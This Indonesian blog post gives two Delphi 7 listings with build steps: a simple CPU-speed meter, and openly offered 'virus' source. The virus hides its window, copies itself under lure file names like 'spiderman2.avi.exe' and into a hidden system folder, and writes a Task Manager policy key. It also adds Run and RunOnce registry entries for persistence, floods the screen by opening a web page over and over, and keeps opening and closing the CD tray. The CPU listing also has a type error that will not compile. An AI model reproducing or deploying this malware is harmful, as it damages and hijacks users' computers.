Cari tau Speed CPU lewat aplikasi buatan sendiri [Delphi Source]

ATTENTION FIRST::
Ini listing program sederhana banget kok
nama aplikasi : CPU Speed Info
deskripsi : mengetahui seberapa cepat CPU kamu
tanggal : 10 November 2007 (dah lama banget)

Source code::

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Timer1: TTimer;
Timer2: TTimer;
Edit2: TEdit;
ProgressBar1: TProgressBar;
Button1: TButton;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

function GetCPUSpeed: Double;

var
Form1: TForm1;

implementation

{$R *.dfm}
{FUNGSI INI YANG GUNANYA BUAT NGE-GET INFO SPEED CPU KAMU}
{PADA SATU WAKTU, TADINYA TOMBOL ITU GUNANYA UNTUK NGE-GET, TAPI AKU KASIH TIMER AJA}
{JADI SPEED OTOMATIS BERUBAH-UBAH SESUAI WKTU(/DETIK)}
function GetCPUSpeed: Double;
const
DelayTime = 500; // satuan waktu dalam milidetik
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);

SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

Sleep(10); // tunda selama 10 ms
asm
dw 310Fh
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;

SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);

Result := TimerLo / (1000.0 * DelayTime);
end;

{PROCEDURE INI AMA YANG SATUNYA DIBAWAH GUNANYA UNTUK ENABLED-DISABLED TIMER}
{JADI PROSES NGE-GET INFO CPU SPEEDNYA OTMATIS TERUPDATE}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Edit2.Text:=TimeToStr(Time);
Edit1.Text := Format('%f MHz', [GetCPUSpeed]);
timer2.Enabled := true;
timer1.Enabled := false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
timer1.Enabled := true;
timer2.Enabled := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
with ProgressBar1 do
begin
Min := 0;
Max := Format('%f MHz', [GetCPUSpeed]);
for i := Min to Max do
begin
Position := i;
end;
end;
end;

end.

Membuat file compile'annya:
1.Masuk delphi (aku pake Delphi 7) copy listing ini, yang auto create dari delphi kamu hapus semua
2.buat 1 project trus ga usah ada yg kamu ubah2, kecuali kamu add 2 buah timer + add 1 buah textedit cuma dicontoh ini aku buat 2, yang satunya untuk jam aja, slevbihnya kayak progressbar ama button, ga usah dibuat jg gpp
3.sebelum kamu add, kamu quote dlu yang di deklarasi Type untuk texteditnya ama timernya, klo udah baru di unquote lagi
4.km compile trus dapet dah, file .exe aplikasinya..
5.selesai, bisa langsung diaktifkan

Cara Bikin Virus Sederhana Pakai Delphi

ATTENTION FIRST::
Ini virus jenis flooding dengan membuka halaman web secara terus menerus sampe menuhin cache momory + usil dengan buka tutup door dari cd/dvd-room kamu

Source code::

unit Unit1;

interface
{Deklarasiin library ShellAPI,Registry yang dipakai dimasukkan di USES ini}
{GUNANYA BIAR KITA BISA NGOTAK-ATIK REGISTRY}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);


private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
{{$R MySoundRes.RES}


procedure TForm1.FormCreate(Sender: TObject);
{DEKLARASI VARIABEL}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;


begin
{MEMBUAT FORM INVISIBILE}
Application.ShowMainForm := false;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
{BUAT FOLDER SEBAGAI ROOM'NYA VIRUS(FILE INDUK DISINI)}
mkdir(sysdir+'\runfold');
except
end;
try
{CUMA MENDUPLIKASI DIRI AJA DENGAN NAMA2 FILE SEPERTI DIBAWAH INI}
{TAPI KALO DIKLIK YA, VIRUSNYA AKTIF LAGI, BUAT NAMA YG MENARIK AJA, TERSERAH}
CopyFile(pchar(application.ExeName),PChar(windir+'\try now.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\elvis2005.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\my way.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\sinatra.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\burn dvd.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\spiderman2.avi.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\runfold\-NET-SERVICES-.exe'),true);
except
end;
end;

begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
{TAPI DI INVISIBLE}
SetFileAttributes(PChar(sysdir+'\runfold\-NET-SERVICES-.exe'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;

{MEN-DISABLE TASK MANAGER}
{VIRUS INI GA MAU DIMATIIN PAKE END TASKNYA TASK MENAGER}
{GIMANA NGGA, LA MAU MASUK AJA GA BISA}
try
{BUATNYA DI CURRENT USER, JADI KAMU MASIH BISA SELAMAT KALO MASUK SAFE MODE}
{KARENA TASK MANAGER DI imam MASIH BISA DIBUKA}
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey('Software', True);
regis.OpenKey('Microsoft', True);
regis.OpenKey('Windows', True);
regis.OpenKey('CurrentVersion', True);
regis.OpenKey('Policies', True);
regis.OpenKey('System', True);
regis.WriteString('DisableTaskMgr', '0'); {VALUE 0=NONAKTIF 1=AKTIF}
regis.CloseKey;
except
end;

{BUAT VIRUS INI DILOAD TIAP KALI KOMPUTER NYALA}
{YAITU DENGAN BUAT KEY DI REGISTER MEMANFAATKAN RUN(MSCONFIG-STARTUP) DAN RUNONCE}
{SUPAYA PROGRAM INI DILOAD TIAP KALI KOMPUTER NYALA}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg1.WriteString('.NET.',sysdir+'\runfold\-NET-SERVICES-.exe');
reg1.CloseKey;

reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',True) then
reg2.WriteString('.NET.',sysdir+'\runfold\-NET-SERVICES-.exe');
reg2.CloseKey;
except
end;
end;
end;

{PADA PROCEDURE DIBAWAH INI VIRUS DIKIT USIL YAITU DENGAN SEMBARI KITA}
{PUSING LIAT FLOODING YANG TERJADI DIDESKTOP, VIRUS INI JUGA BIKIN}
{CD-ROM KITA OPEN CLOSED TAK TERKENDALI..BISA2 SAMPE JEBOL}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
try
ShellExecute(0, 'open', 'www.muchlisworhkhouse.blogspot.com', nil, nil, SW_NORMAL);
mciSendString('Set cdaudio door open', nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
mciSendString('Set cdaudio door closed', nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
end;

end.


Membuat file compile'annya:
1.Masuk delphi (aku pake Delphi 7) copy listing ini, yang auto create dari delphi kamu hapus semua
2.buat 1 project trus ga usah ada yg kamu ubah2,kecuali kamu add 2 buah timer
3.sebelum kamu add, kamu quote dlu yang di deklarasi Type,klo udah baru di unquote lagi
4.km compile trus dapet dah, file .exe virusnya..
5.selesai, bisa langsung diaktifkan
6.klo ada yg ga jelas tanya aja

Moga bermanfaat!
Share ilmu yuk! Wink